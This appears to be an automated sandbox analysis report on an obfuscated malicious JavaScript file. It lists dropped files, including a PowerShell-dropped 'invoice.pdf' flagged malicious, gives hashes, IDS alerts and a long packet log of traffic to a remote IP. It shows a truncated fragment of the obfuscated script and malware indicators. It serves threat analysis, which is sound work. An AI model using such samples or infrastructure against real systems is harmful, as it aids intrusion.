SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fd9937b4-b7fc-4351-9a92-23f3dafa9e07.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17038), with CRLF line terminators
Entropy (8bit):	4.931554587649016
TrID:
File name:	1713990941768710675.js
File size:	20'428 bytes
MD5:	5646dee718d2ddc052cb745ce916ee10
SHA1:	b8cd2fa36d6f928f1cce46241ff2faee2640af0c
SHA256:	cd7477c37ffa9aa58515fbfa743c7cda2938d6e925d513440643dffd26ebc692
SHA512:	b158bdf2297e1833fc9adba265ec29e4c77c18e527837306df6c7cd306444501d67d6c4d54e91622e8131e7c002bf192068f85ec63d60ca71cd9edda50693a17
SSDEEP:	384:pWidIijWooWGfrekRgU5LYLdE+Y6e9wubS9fiq2o:oE9oWAcOYLdA5XbS9fi6
TLSH:	6E926AC5160AC7864BDC2FD985212CD467BD19E89E3C8D272D9638CF178CE9266E48F2
File Content Preview:	function zwipsolcr(){jycxif=[1031,3079,5127,4103,2055,3072];var blfdh=this[xtotcf+ebzoday+nkrlfbqok+ciyoqpy+rbvluk+gmcbllzx+vetonkgjl+odoml](this[xcqpz+qsnpqj+hnqdrhfl+nkrlfbqok+zmsrqm+xtotcf+odoml][rqwxz+nkrlfbqok+rbvluk+ebzoday+odoml+rbvluk+xajbdgs+hvom

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:29:25.866721+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T20:29:28.709765+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:29:25.046644926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.051665068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.051788092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.054769039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.061083078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866485119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866672039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866688967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866699934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866709948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866720915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866720915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.866730928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866741896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866751909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866763115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.866763115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.866806030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.871629000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.912895918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.922992945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.923012018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.923022985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.923201084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.987425089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987446070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987457037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987471104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987562895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.987639904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.987677097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987689972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987701893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987716913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.987739086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.987761021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.988220930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988240004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988251925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988261938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988274097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988281965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.988312960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.988962889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988976955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988989115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.988998890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.989037991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.989062071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.989583969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.989598989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.989619017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.989629030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:25.989645004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:25.989713907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.013612986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.013721943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.044168949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.044188023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.044199944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.044239998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.044250011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.044261932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.044298887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.078156948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.078174114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.078267097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.108582020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108608007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108620882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108633041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108644962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108702898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108714104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108724117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.108764887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.108798981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.108984947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109035969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109075069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109177113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109193087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109203100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109217882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109225035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109229088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109250069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109797001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109808922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109824896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109834909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109838963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109846115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109857082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109863043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109869003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109880924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.109883070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.109909058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.110771894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110785961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110795975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110805988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110809088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.110816956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110829115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110837936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.110838890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110852957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.110866070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.110877991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.111753941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111766100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111776114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111785889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111792088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.111799002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111809015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.111809015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111819983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.111845970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.111860991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.134821892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.134840012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.134852886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.134862900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.134939909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.134965897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.165368080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.165388107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.165399075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.165411949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.165457964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.165548086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.168591022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168602943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168613911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168668032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.168716908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168728113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168739080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.168759108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.168786049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.199088097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.199105024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.199471951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.229479074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229506969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229518890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229530096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229541063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229549885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229559898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229571104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229582071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229620934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.229682922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.229763985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229773998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229784966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229794025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229796886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.229804993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229815006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229826927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229835987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.229839087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.229866982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230268955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230278969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230288982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230298996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230302095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230309010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230319023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230329990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230330944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230355978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230700016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230834007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230844021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230854988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230865002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230870008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230875969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230885983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230886936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230896950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230907917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230916023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230920076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.230932951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.230957985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231484890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231493950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231543064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231622934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231633902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231645107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231653929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231667042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231671095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231682062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231683969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231693029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231703043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231709003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231719017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231729031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231739044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231745958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231750965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.231795073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.231795073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.232647896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232659101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232669115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232678890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232688904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232695103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232701063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232702017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.232709885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232719898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232731104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232742071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232753038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.232755899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.232788086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.232804060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.233283997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.233371019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.233417988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.233429909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.233439922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.233450890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.233457088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.233472109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.236722946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:29:26.255956888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.255983114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.255994081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.256004095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:29:26.256014109 CET	80	49704	193.143.1.205	192.168.2.5
